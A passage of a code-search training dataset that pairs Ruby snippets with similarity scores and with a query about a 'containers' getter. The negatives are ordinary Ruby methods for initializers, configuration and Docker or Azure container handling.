super\n end", "def initialize(args=nil)\n @unit_of_measure = \"PCS\"\n @vat_rate = 0\n @vat_included = true\n return if args.nil?\n args.each do |k,v|\n instance_variable_set(\"@#{k}\", v) unless v.nil?\n end\n end", "def initialize(working_directory, zone_name, parent, config, enforcer_interval, validity)\n @working = working_directory\n @zone = zone_name\n @parent = parent\n @config = config\n @enforcer_interval = enforcer_interval\n @last_soa_serial = nil\n @initial_timestamp = Time.now.to_i\n @validity = validity\n @cache = load_tracker_cache()\n end", "def preset_default_values( params_hash = {} )\n unless self.patient # Set current patient only if not set\n begin\n if params_hash[:patient_id]\n self.patient_id = params_hash[:patient_id].to_i\n end\n rescue\n self.patient_id = nil\n end\n end\n\n unless self.date_schedule # A default date schedule must be set anyhow:\n begin \n self.date_schedule = params_hash[:date_schedule] ? params_hash[:date_schedule] : Time.now\n rescue # Set default date for this entry:\n self.date_schedule = Time.now\n end\n end\n self\n end", "def initialize(design_or_collection, current_user, params = {})\n @design_or_collection = design_or_collection\n @current_user = current_user\n @params = params\n end", "def initialize(sandbox, podfile, locked_dependencies, sources, specs_updated,\n podfile_dependency_cache: Installer::Analyzer::PodfileDependencyCache.from_podfile(podfile),\n sources_manager: Config.instance.sources_manager)\n @sandbox = sandbox\n @podfile = podfile\n @locked_dependencies = locked_dependencies\n @sources = Array(sources)\n @specs_updated = specs_updated\n @podfile_dependency_cache = podfile_dependency_cache\n @sources_manager = sources_manager\n @platforms_by_dependency = Hash.new { |h, k| h[k] = [] }\n\n @cached_sets = {}\n @podfile_requirements_by_root_name = @podfile_dependency_cache.podfile_dependencies.group_by(&:root_name).each_value { |a| a.map!(&:requirement).freeze }.freeze\n @search = {}\n @validated_platforms = Set.new\n end", "def initialize(ocproblem)\n @ocproblem = ocproblem\n Dir.mkdir(\"OCP_tmp\") unless Dir.exist? \"OCP_tmp\"\n end", "def initialize(opts={}, prnt=Ec2.new)\n @uniquely_identifiable_by = [:ip, :name, :dns_name, :instance_id]\n @original_options = opts\n @my_cloud = prnt\n super(opts, prnt)\n find_myself(@uniquely_identifiable_by && opts.keys) if prnt.respond_to?(:describe_instances)\n end", "def add_defaults_local\n super\n self.collection_event ||= parent.collection_event if parent\n self.specimen_characteristics ||= CaTissue::SpecimenCharacteristics.new\n end", "def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end", "def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end", "def initialize(settings={}, &block)\n @context = settings[:context]\n @target = settings[:target]\n @label = settings[:label]\n @setup = settings[:setup]\n @skip = settings[:skip]\n @tags = settings[:tags]\n\n @advice = @context ? @context.advice.dup : TestAdvice.new\n\n @tests = []\n @domain = domain_class.new(self)\n\n validate_settings\n\n evaluate(&block)\n end", "def initialize(hash = {})\n hash.delete_if { |k, v| v.nil? }\n hash = defaults.merge(hash)\n\n @under_voltage_hours = hash[:under_voltage_hours]\n @over_voltage_hours = hash[:over_voltage_hours]\n\n # initialize class variables @@validator and @@schema\n @@validator ||= Validator.new\n @@schema ||= @@validator.schema\n end", "def initialize(default = nil, ttl_default: nil, &default_proc)\n @ttl_default = ttl_default&.to_f || Vache::TTL_DEFAULT_DEFAULT\n @default = default\n @default_proc = default_proc\n\n @entries = { }\n end", "def initialize()\n @config = YAML.load_file('config.yaml')\n @puppetdb = @config['puppetdb']\n @servicenow = @config['servicenoe']\n @syslog = @config['syslog']\n end", "def initialize(user)\n user ||= User.new # guest user (not logged in)\n\n if user.role? :admin\n can :manage, :all\n else\n if user.role? :certifier\n can :certify, User\n end\n\n if user.role? :voter\n can :create, Vote\n end\n\n can :read, Vote do |vote|\n user.id == vote.registration.user_id\n end\n end\n\n # default is can't do anything special for now\n end", "def initialize(name:, namespace:, selector:, ingress:, resource_version: nil, description: nil, labels: nil, creation_timestamp: nil, egress: nil, annotations: nil, environment_ids: [])\n @name = name\n @description = description\n @namespace = namespace\n @labels = labels\n @creation_timestamp = creation_timestamp\n @selector = selector\n @resource_version = resource_version\n @ingress = ingress\n @egress = egress\n @annotations = annotations\n @environment_ids = environment_ids\n end", "def set_default_properties\n @properties = {\n :InstanceType => \"t2.micro\",\n :ImageId => \"ami-d05e75b8\"\n }\n end", "def initialize(private_key: nil, encryptor: OnlineVoting::Crypto::Message, signer: OnlineVoting::Crypto::BlindSigner, admin_client: OnlineVoting::AdminClient)\n @signer = signer.new\n @private_key = private_key\n @encryptor = encryptor\n @admin_client = admin_client.new(uri: Voter.config.administrator_module_uri)\n end", "def initialize(opts)\n @id = opts[:id]\n @fault_id = opts[:fault_id]\n @event = opts[:event]\n @source = opts[:source]\n @notices_count = opts[:notices_count]\n @author = opts[:author]\n @body = opts[:body]\n @email = opts[:email]\n @created_at = opts[:created_at].nil? ? nil : DateTime.parse(opts[:created_at])\n end", "def set_stage_certainty_factor\n @stage_certainty_factor = StageCertaintyFactor.find(params[:id])\n end", "def init_default_config\n configuration.project_id ||= (Cloud.configure.project_id || ErrorReporting::Project.default_project_id)\n configuration.credentials ||= Cloud.configure.credentials\n configuration.service_name ||= ErrorReporting::Project.default_service_name\n configuration.service_version ||= ErrorReporting::Project.default_service_version\n configuration.ignore_classes = Array(configuration.ignore_classes)\n end", "def initialize\n configure_via_yaml\n configure_via_env\n end", "def initialize(attributes = {})\n super\n self.api_endpoint ||= Orias.configuration.api_endpoint\n self.per_request ||= Orias.configuration.per_request\n self.private_key ||= Orias.configuration.private_key\n end", "def setup\n @user = users(:alice)\n @vote_type = vote_types(:positive)\n @post = posts(:problem1)\n @comment = comments(:comment1)\n @vote = Vote.new\n end", "def initialize(label, iv_b64, pbkdf2_salt_b64, crypted_text_b64, auth_tag_b64)\n @label = label.to_s\n @iv = iv_b64\n @pbkdf2_salt = pbkdf2_salt_b64\n @crypted_text = crypted_text_b64\n @auth_tag = auth_tag_b64\n end", "def initialize\n @codice_fiscale = CodiceFiscaleConfiguration.new\n @cap_lookup = CapLookupConfiguration.new\n end", "def initialize initial_negatives, total_positives\n raise(ArgumentError, \"total predictions should be greater or equal to total positives\") unless initial_negatives >= total_positives\n @tp, @p, @tn, @n = [0], [0], [initial_negatives - total_positives], [initial_negatives]\n @threshold = { 1.0 => 0 }\n @roc_area = 0.0\n end", "def initialize(client, params = {}, api_ver = nil)\n super\n # Default values\n @data['type'] ||= 'SSLCertificateDTO'\n @data['uri'] ||= \"#{self.class::BASE_URI}/#{@data['aliasName']}\" if @data['aliasName']\n end", "def add_evidence!(attributes)\n self.evidence = Evidence.where(name: attributes[1]).first_or_create! \n self.save!\n end", "def initialize(options)\n super\n self.verified_key = false\n end", "def initialize(json = nil)\n if !json.nil?\n @load_balancer_protocol = json[\"load-balancer-protocol\"]\n @load_balancer_port = json[\"load-balancer-port\"]\n @instance_protocol = json[\"instance-protocol\"]\n @instance_port = json[\"instance-port\"]\n @ssl_certificate_id = json[\"ssl-certificate-id\"]\n @policies = json[\"policies\"] || []\n end\n end", "def initialize\n @verify_certificates = true\n end", "def initialize(verbose = true)\n @verbose = verbose\n \n @root_cert_file_name = \"SystemRootCertificates.keychain\"\n @root_cert_kc_path = File.join(CertTools.output_keychain_path, @root_cert_file_name)\n\n @settings_file_name = \"SystemTrustSettings.plist\"\n @setting_file_path = File.join(CertTools.output_keychain_path, @settings_file_name)\n\n @temp_kc_name = \"SystemTempCertificates.keychain\"\n @temp_kc_path = File.join(CertTools.build_dir, @temp_kc_name)\n\n end" ]
[ "0.6451284", "0.54269695", "0.5245782", "0.5226086", "0.5197408", "0.5062625", "0.50069535", "0.4933385", "0.4895962", "0.48238045", "0.48238045", "0.47835678", "0.4750577", "0.46938643", "0.46332353", "0.45909813", "0.45536014", "0.4543707", "0.45156503", "0.4483675", "0.44824407", "0.44654623", "0.44654623", "0.44653535", "0.44490433", "0.44463885", "0.44428322", "0.4428442", "0.44151378", "0.4410389", "0.440589", "0.440136", "0.43986437", "0.4394288", "0.43594632", "0.43429396", "0.43375492", "0.43233415", "0.43228376", "0.43152595", "0.4311524", "0.43024957", "0.42814967", "0.42747894", "0.4265029", "0.42648473", "0.42646182", "0.42641407", "0.42627466", "0.42582983", "0.42579257", "0.4253297", "0.42529136", "0.42514646", "0.4249711", "0.42495283", "0.42491058", "0.42412192", "0.42369854", "0.4234824", "0.42320248", "0.42246914", "0.4219541", "0.42124936", "0.42075512", "0.42038685", "0.41967753", "0.41920894", "0.41912192", "0.41908747", "0.41901425", "0.41885418", "0.41878146", "0.41872787", "0.41867208", "0.4183341", "0.4183341", "0.41768673", "0.41765952", "0.41731635", "0.4170652", "0.41699782", "0.41697198", "0.41669953", "0.41668636", "0.4165796", "0.41623268", "0.41608113", "0.41594517", "0.4159214", "0.4155128", "0.41549316", "0.41521764", "0.41518888", "0.4143806", "0.4141725", "0.41387638", "0.41379386", "0.4136566", "0.41332906" ]
0.7090775
0
Gets the containers property value. The list of pod containers which are not init or ephemeral containers.
def containers return @containers end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def containers=(value)\n @containers = value\n end", "def running_containers\n containers = ::Docker::Container.all(all: true, filters: { status: [\"running\"] }.to_json)\n return containers\n end", "def ephemeral_containers\n return @ephemeral_containers\n end", "def container_names\n (@pod.dig(:spec, :containers) + self.class.init_containers(@pod)).map { |c| c.fetch(:name) }.uniq\n end", "def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end", "def ephemeral_containers=(value)\n @ephemeral_containers = value\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "def container_ids\n @container_ids ||= DockerCompose.new(project).container_ids\n end", "def containers\n obj = parse_object(1)\n return nil unless obj && obj.m_Container && obj.m_Container.array?\n obj.m_Container.value.map do |e|\n {:name => e.first.value, :preload_index => e.second.preloadIndex.value, :path_id => e.second.asset.m_PathID.value}\n end\n end", "def read_containers\n []\n end", "def container_instances\n instances = []\n @client.describe_tasks(cluster: @cluster, tasks: tasks)[0].each do |e|\n instances << e[:container_instance_arn]\n end\n instances\n end", "def get_running_containers\n\n containers = []\n running_tasks = get_list_tasks_result\n running_tasks.task_arns.each do |task_arn|\n containers << RaisEcs::Container.new({\n cloud: @cloud,\n cluster: @cluster,\n service: self,\n task_arn: task_arn\n })\n end\n\n return containers\n\n end", "def get_containers\n content = YAML::load(File.read(docker_compose_file))\n content.has_key?('version') ? content['services'].keys : content.keys\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def containers\n TestLab::Container.all\n end", "def containers_for_image(img = docker_image)\n `docker ps -aq -f ancestor=#{img}`.split(\"\\n\")\n end", "def containers_path\n @containers_path ||= @cli.config('lxc.lxcpath')\n end", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def list_containers(options={})\n query = { }\n if options\n query['prefix'] = options[:prefix] if options[:prefix]\n query['marker'] = options[:marker] if options[:marker]\n query['maxresults'] = options[:max_results].to_s if options[:max_results]\n query['include'] = 'metadata' if options[:metadata] == true\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = containers_uri(query)\n response = call(:get, uri)\n\n Serialization.container_enumeration_results_from_xml(response.body)\n end", "def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end", "def get_nodes\n nodes = []\n\n self.get_running_containers.each do |container|\n nodes << container.get_node\n end\n\n return nodes\n\n end", "def init_containers\n return @init_containers\n end", "def get_containers_by(params)\n @containers.values.select do |container|\n (params.to_a - container.attributes.to_a).empty?\n end\n end", "def init_containers=(value)\n @init_containers = value\n end", "def containers\n return @containers unless @containers.nil?\n container_codes = []\n codes = code.split('|')\n container_codes << (codes = codes[0..-2]).join('|') while codes.size > 1\n # first is country code\n @containers = [country]\n # second, third can be parent administrative division if not nil\n # NOTE container codes is like: [\"ES|58|PO\", \"ES|58\", \"ES\"] (country is last)\n @containers += Division.find_all_by_code container_codes[0..-2], :order => :level if container_codes.size > 1\n return @containers\n end", "def running_container_count\n `#{setup_docker_env_vars_str} docker ps`.split(\"\\n\").size - 1\nend", "def containers\n t = Liquid::Template.parse(template)\n t.root.nodelist.select{ |t| t.kind_of? LiquidTags::ContainsBlock }.collect{ |c| c.container_name }\n end", "def get_containers\n assert_not_nil @rdigg.info.get_containers\n end", "def hits_containers=(value)\n @hits_containers = value\n end", "def read_pods\n kubeclient = build_kube_client!\n\n kubeclient.get_pods(namespace: actual_namespace).as_json\n rescue Kubeclient::ResourceNotFoundError\n []\n end", "def pods\n groups.find { |g| g.name == 'Pods' }\n end", "def list_invalid_properties\n invalid_properties = Array.new\n if @containers.nil?\n invalid_properties.push(\"invalid value for 'containers', containers cannot be nil.\")\n end\n\n return invalid_properties\n end", "def hits_containers\n return @hits_containers\n end", "def pod_organizations\n @pod_organizations = instance_variable_get(:@pod_organizations) || []\n end", "def inspect(container_s)\n containers = container_s\n containers = [containers] unless container_s.is_a?(Array)\n return [] if containers.empty?\n out = run!('inspect', containers)\n result = JSON.parse(out).map { |c| Container.new(c, session:self)}\n if container_s.is_a?(Array)\n result\n else\n result.first\n end\n end", "def describe_container_instances(params={})\n if instances = params.delete('containerInstances')\n params.merge!(Fog::AWS.indexed_param('containerInstances.member', [*instances]))\n end\n\n request({\n 'Action' => 'DescribeContainerInstances',\n :parser => Fog::Parsers::AWS::ECS::DescribeContainerInstances.new\n }.merge(params))\n end", "def not_created_instances\n pending_instances_count = wanted_instances - filtered_pods_by_track.count\n\n return [] if pending_instances_count <= 0\n\n Array.new(pending_instances_count, deployment_instance(pod_name: 'Not provided', pod_status: 'Pending'))\n end", "def words_container\n @@container || @@default_container\n end", "def keys\n container.keys\n end", "def container\n @container ||= Container.new(spec[:containers].first)\n end", "def container=(value)\n @container = value\n end", "def container(property)\n return '@set' if property == '@graph'\n @containers.fetch(property.to_s, nil)\n end", "def top_containers\n container_information.select do |container|\n container[\"label\"].to_s.downcase.include?(\"box\") || container[\"profile\"].include?(\"OS folder\")\n end\n end", "def state\n if !defined?(@container) || @container.nil?\n :missing\n else\n begin\n _exit_status, stdout, _stderr = @cmd_runner.run_cmd \"#{podman_cmd} container inspect #{@container}\"\n status = JSON.parse(stdout).first['State']['Status'].to_sym\n status = :created if status == :configured\n status\n rescue\n log_warn \"Error while reading state of Podman container #{@container}: #{$ERROR_INFO}\"\n :error\n end\n end\n end", "def in_service_instances\n instances([{name: :lifecycle_state, value: \"InService\"}])\n end", "def container\n return @container\n end", "def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end", "def list\n @_componentable_container.keys\n end", "def validate_container_resources\n (pod_containers.map { |c| c[1..] || [] } + init_containers).flatten(1).each do |container|\n [\n [:resources, :requests, :cpu],\n [:resources, :requests, :memory],\n [:resources, :limits, :cpu],\n [:resources, :limits, :memory],\n ].each do |path|\n next if container.dig(*path)\n name = container[:name] || container[:image] || \"unknown\"\n @errors << \"Container #{name} is missing #{path.join(\".\")}\"\n end\n end\n end", "def list_ip(containers) # rubocop:disable Metrics/AbcSize\n @options[:container] = containers\n container\n instance_data = list.body\n instance_data = JSON.parse(instance_data)\n vcableid = instance_data['vcable_id']\n abort('Error network configuration is not present') if vcableid.nil?\n internalip = instance_data['ip']\n iputil = IPUtil.new(id_domain, user, passwd, restendpoint)\n basecontainer = containers.split('/')\n usercontainer = '/' + basecontainer[1] + '/' + basecontainer[2] + '/' \n vcabledetails = JSON.parse(iputil.discover(usercontainer, 'vcable', vcableid, 'association').body)\n vcabledetails = vcabledetails['result']\n vcabledetails = vcabledetails.at(0)\n extipaddress = vcabledetails['ip']\n return internalip, extipaddress\n end", "def container_array(c)\n c = c || TagExtractor::words_container\n c = c.split ''\n end", "def paused_queues\n Sidekiq.redis { |conn| conn.smembers(PAUSED_QUEUES).to_a }\n end", "def container\n [[container_parent, container_element(\"box\"), container_element(\"folder\")].compact.join(\", \")]\n end", "def container\n namespace + '_container'\n end", "def current_container_id\n cgroup_content = File.read(\"/proc/1/cgroup\")\n @running_in_container = cgroup_content.include? \"docker/\"\n if @running_in_container\n cgroup_content.split.each { |line|\n if line.include? \"docker/\" or line.include? \"kubepods/\"\n parts = line.split(\":\")\n res_parts = parts[2].split(\"/\")\n return res_parts[-1][0..12]\n end\n }\n end\n nil\nend", "def docker_compose_container\n get_config(:docker_compose_container).to_s\n end", "def containers(opts={})\n is_member_array = is_member_of_collection(:response_format=>:id_array)\n \n if !is_member_array.empty?\n logger.warn \"This object has inbound collection member assertions. hasCollectionMember will no longer be used to track file_object relationships after active_fedora 1.3. Use isPartOf assertions in the RELS-EXT of child objects instead.\"\n if opts[:response_format] == :solr || opts[:response_format] == :load_from_solr\n logger.warn \":solr and :load_from_solr response formats for containers search only uses parts relationships (usage of hasCollectionMember is no longer supported)\"\n result = part_of(opts)\n else\n con_result = is_member_of_collection(opts)\n part_of_result = part_of(opts)\n ary = con_result+part_of_result\n result = ary.uniq\n end\n else\n result = part_of(opts)\n end\n return result\n end", "def keys(container)\n container.keys\n end", "def stored_virtual_machines\n kubevirt_client.get_stored_virtual_machines(namespace: @namespace)\n end", "def container_properties(name, key = nil)\n key ||= properties.key1\n\n response = blob_response(key, \"restype=container\", name)\n\n ContainerProperty.new(response.headers)\n end", "def get_container_id(image=@ws_image, hosts=@hosts)\n hosts.each do |host|\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n containers = Docker::Container.all(all: true, filters: { ancestor: [image],status:['running'] }.to_json)\n return containers.first unless containers.empty?\n end\n fail('Could not found a webserver running')\n end", "def all\n containers = service.list_containers\n data = []\n containers.each do |container|\n c = parse_storage_object(container)\n c[:acl] = 'unknown'\n data << c\n end\n load(data)\n end", "def index\n @containers = Container.all\n end", "def list # rubocop:disable Metrics/AbcSize\n if @options[:container]\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n containerview = containerview.contents(@options[:container])\n if containerview.code == '201' || containerview.code == '200'\n containerview.body\n elsif containerview.code == '204'\n print 'the container is empty'\n else\n @util.response_handler(containerview)\n end\n else\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.list\n @util.response_handler(newcontainer)\n newcontainer.body if newcontainer.code == '200'\n puts 'there are no containers' if newcontainer.code == '204'\n end \n end", "def get_container_properties(name, options={})\n # Query\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Call\n response = call(:get, container_uri(name, query), nil, {}, options)\n\n # result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def components\n\t\t\t\treturn @components.values unless (@components.nil?)\n\t\t\t\treturn nil\n\t\t\tend", "def virtual_machines\n kubevirt_client.get_virtual_machines(namespace: @namespace)\n end", "def get_container_properties(name, options={})\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n response = call(:get, container_uri(name, query))\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def service_names(status: :running)\n services = query_cluster(:pods, component: :server)\n services.map { |m| m.split('-')[0] }.uniq\n end", "def index_containers(opts = {})\n data, _status_code, _headers = index_containers_with_http_info(opts)\n data\n end", "def list_container_applications(opts = {})\n data, _status_code, _headers = list_container_applications_with_http_info(opts)\n data\n end", "def container\n @container ||= find_or_create_container\n end", "def list_container_projects(opts = {})\n data, _status_code, _headers = list_container_projects_with_http_info(opts)\n data\n end", "def objects_name\n :nfs_store__manage__containers\n end", "def assign_containers_to_pods!(pods, containers)\n pods.each do |pod|\n pod['containers'] = containers.select do |container|\n container.key?('pod') && container['pod'] == pod['name']\n end\n end\nend", "def pods\n retry_on_error backoff: KUBELET_ERROR_BACKOFF_SECONDS do\n throttle per_second: KUBELET_MAX_REQUESTS_PER_SECOND, throttled: [] do\n JSON.parse(http_get('https://localhost:10250/pods')).fetch(\"items\")\n end\n end\n rescue StandardError\n []\n end", "def docker_commands\n []\n end", "def container_id\n return @container_id\n end", "def available_docks\n self['availableDocks']\n end", "def servers\n endpoint.config.nodes.map(&:to_s)\n end", "def categories\n return @todo_container.keys\n end", "def created?\n running = Docker::Container.all(all: true)\n running.map { |r| r.info['Names'].include?(\"/#{@name}\") }.any?\n end", "def cpu_usage\n containers = []\n @hosts.each do |host|\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n containers.concat Docker::Container.all(all: true, filters: { ancestor: [@ws_image],status:['running'] }.to_json)\n end\n \n cpuPercent = 0.0\n status = containers.first.stats\n \n cpuDelta = status['cpu_stats']['cpu_usage']['total_usage'] - status['precpu_stats']['cpu_usage']['total_usage']\n systemDelta = status['cpu_stats']['system_cpu_usage'] - status['precpu_stats']['system_cpu_usage']\n\n if systemDelta > 0.0 and cpuDelta > 0.0 \n cpuPercent = (cpuDelta.round(16) / systemDelta.round(16)).round(16) * status['cpu_stats']['cpu_usage']['percpu_usage'].size * 100.0\n end\n return cpuPercent.round(2)\n end", "def get_kubernetes_pod_list(opts = {})\n data, _status_code, _headers = get_kubernetes_pod_list_with_http_info(opts)\n data\n end", "def get_kubernetes_container_runtime_policy_list(opts = {})\n data, _status_code, _headers = get_kubernetes_container_runtime_policy_list_with_http_info(opts)\n data\n end", "def collection_names\n case config[\"collections\"]\n when Hash\n config[\"collections\"].keys\n when Array\n config[\"collections\"]\n when nil\n []\n else\n raise ArgumentError, \"Your `collections` key must be a hash or an array.\"\n end\n end", "def ecs_wait_container_instances\n @ecs_wait_container_instances = true\n end", "def list_container_application_instances(opts = {})\n data, _status_code, _headers = list_container_application_instances_with_http_info(opts)\n data\n end", "def beanstalks\n return @beanstalks ||= @beanstalk_servers.map(&:beanstalk)\n end", "def container?\n !@container.nil?\n end", "def vm_instances\n @conn.vminstances\n end", "def stored_sandbox_podspecs\n @stored_sandbox_podspecs ||= {}\n end", "def components\n fetch(:capnotify_component_list)\n end", "def container_available?\n return false unless container_name\n\n all_containers = Docker::Container.all(all: true)\n\n all_containers.each do |container|\n if container.info['Names'].first[1..-1] == container_name\n @container = container\n return true\n end\n end\n false\n end", "def container\n options.fetch(:container)\n end", "def get_node_ips\n # This uses the kubernetes-provided service token supplied to every container:\n auth_opts = {\n bearer_token: File.read('/var/run/secrets/kubernetes.io/serviceaccount/token')\n }\n\n ssl_opts = {\n verify_ssl: OpenSSL::SSL::VERIFY_NONE\n }\n\n kube_client = Kubeclient::Client.new ENV['KUBE_API_ENDPOINT'], 'v1', ssl_options: ssl_opts, auth_options: auth_opts\n nodes = kube_client.get_nodes\n nodes.map { |n| n.status.addresses.detect { |address| address['type'] == 'InternalIP' }['address'] }\nend", "def clusters\n @clusters ||= parse_clusters(ENV['OOD_CLUSTERS'])\n end", "def applications\n return @applications\n end" ]
[ "0.7452125", "0.7156679", "0.70323414", "0.6928082", "0.6864879", "0.6786346", "0.65040404", "0.6441898", "0.6315443", "0.6179341", "0.61598444", "0.6098868", "0.6062128", "0.60589224", "0.6013133", "0.59717095", "0.5927755", "0.579219", "0.57777846", "0.5758342", "0.57458967", "0.5734355", "0.56742287", "0.56361645", "0.56346846", "0.55413914", "0.5436595", "0.541523", "0.54028594", "0.53975224", "0.5350399", "0.5335357", "0.5314279", "0.5293109", "0.5276461", "0.5131573", "0.5130605", "0.5102042", "0.50981987", "0.5081117", "0.5080128", "0.5030123", "0.50196457", "0.49845734", "0.4967528", "0.49653137", "0.49510702", "0.4913997", "0.48847026", "0.48837265", "0.48825535", "0.48824543", "0.48783785", "0.48482415", "0.4845433", "0.4823905", "0.48226267", "0.48086882", "0.48082107", "0.48029515", "0.47976264", "0.47897053", "0.4777751", "0.4747012", "0.47176003", "0.47168747", "0.47001693", "0.46969828", "0.46809608", "0.46792936", "0.46535403", "0.46481583", "0.46380714", "0.4637155", "0.46368328", "0.46334687", "0.46304044", "0.46219638", "0.4612789", "0.46120667", "0.46116903", "0.4605587", "0.45902854", "0.4585879", "0.4582888", "0.45687592", "0.4557215", "0.45436645", "0.45370942", "0.45243207", "0.45230433", "0.45226398", "0.4521327", "0.4506181", "0.4504738", "0.44934255", "0.4490085", "0.44897333", "0.44847018", "0.44778815" ]
0.71285844
2
Sets the containers property value. The list of pod containers which are not init or ephemeral containers.
def containers=(value) @containers = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ephemeral_containers=(value)\n @ephemeral_containers = value\n end", "def init_containers=(value)\n @init_containers = value\n end", "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end", "def container=(value)\n @container = value\n end", "def assign_containers_to_pods!(pods, containers)\n pods.each do |pod|\n pod['containers'] = containers.select do |container|\n container.key?('pod') && container['pod'] == pod['name']\n end\n end\nend", "def hits_containers=(value)\n @hits_containers = value\n end", "def running_containers\n containers = ::Docker::Container.all(all: true, filters: { status: [\"running\"] }.to_json)\n return containers\n end", "def container_ids\n @container_ids ||= DockerCompose.new(project).container_ids\n end", "def container_names\n (@pod.dig(:spec, :containers) + self.class.init_containers(@pod)).map { |c| c.fetch(:name) }.uniq\n end", "def containers\n return @containers\n end", "def patch_containers(containers)\n (containers || Array.new).each do |container|\n if container[\"image\"] =~ /.*velum.*/\n container[\"image\"] = \"sles12/velum:development\"\n container[\"volumeMounts\"] ||= Array.new\n container[\"volumeMounts\"] << {\n \"mountPath\" => \"/srv/velum\",\n \"name\" => \"velum-devel\"\n }\n container[\"env\"] ||= Array.new\n container[\"env\"].each do |env|\n env[\"value\"] = \"development\" if env[\"name\"] == \"RAILS_ENV\"\n end\n\n # Ensure the velum_production db is used, this is what the\n # salt mysql returner is configured to use\n container[\"env\"] << {\n \"name\" => \"VELUM_DB_NAME\",\n \"value\" => \"velum_production\"\n }\n end\n end\nend", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def ephemeral_containers\n return @ephemeral_containers\n end", "def containers_path\n @containers_path ||= @cli.config('lxc.lxcpath')\n end", "def update!(**args)\n @containers = args[:containers] if args.key?(:containers)\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end", "def words_container=(c)\n @@container = c\n end", "def containers\n TestLab::Container.all\n end", "def list_containers(options={})\n query = { }\n if options\n query['prefix'] = options[:prefix] if options[:prefix]\n query['marker'] = options[:marker] if options[:marker]\n query['maxresults'] = options[:max_results].to_s if options[:max_results]\n query['include'] = 'metadata' if options[:metadata] == true\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = containers_uri(query)\n response = call(:get, uri)\n\n Serialization.container_enumeration_results_from_xml(response.body)\n end", "def container_id=(value)\n @container_id = value\n end", "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "def containers\n obj = parse_object(1)\n return nil unless obj && obj.m_Container && obj.m_Container.array?\n obj.m_Container.value.map do |e|\n {:name => e.first.value, :preload_index => e.second.preloadIndex.value, :path_id => e.second.asset.m_PathID.value}\n end\n end", "def init_containers\n return @init_containers\n end", "def validate_container_resources\n (pod_containers.map { |c| c[1..] || [] } + init_containers).flatten(1).each do |container|\n [\n [:resources, :requests, :cpu],\n [:resources, :requests, :memory],\n [:resources, :limits, :cpu],\n [:resources, :limits, :memory],\n ].each do |path|\n next if container.dig(*path)\n name = container[:name] || container[:image] || \"unknown\"\n @errors << \"Container #{name} is missing #{path.join(\".\")}\"\n end\n end\n end", "def get_containers\n content = YAML::load(File.read(docker_compose_file))\n content.has_key?('version') ? content['services'].keys : content.keys\n end", "def applications=(value)\n @applications = value\n end", "def applications=(value)\n @applications = value\n end", "def pod_organizations\n @pod_organizations = instance_variable_get(:@pod_organizations) || []\n end", "def prepare_containers(storage_account_name, containers, is_default_storage_account)\n @logger.info(\"prepare_containers(#{storage_account_name}, #{containers}, #{is_default_storage_account})\")\n containers.each do |container|\n @logger.debug(\"Creating the container `#{container}' in the storage account `#{storage_account_name}'\")\n create_container(storage_account_name, container)\n end\n set_stemcell_container_acl_to_public(storage_account_name) if is_default_storage_account\n end", "def container_instances\n instances = []\n @client.describe_tasks(cluster: @cluster, tasks: tasks)[0].each do |e|\n instances << e[:container_instance_arn]\n end\n 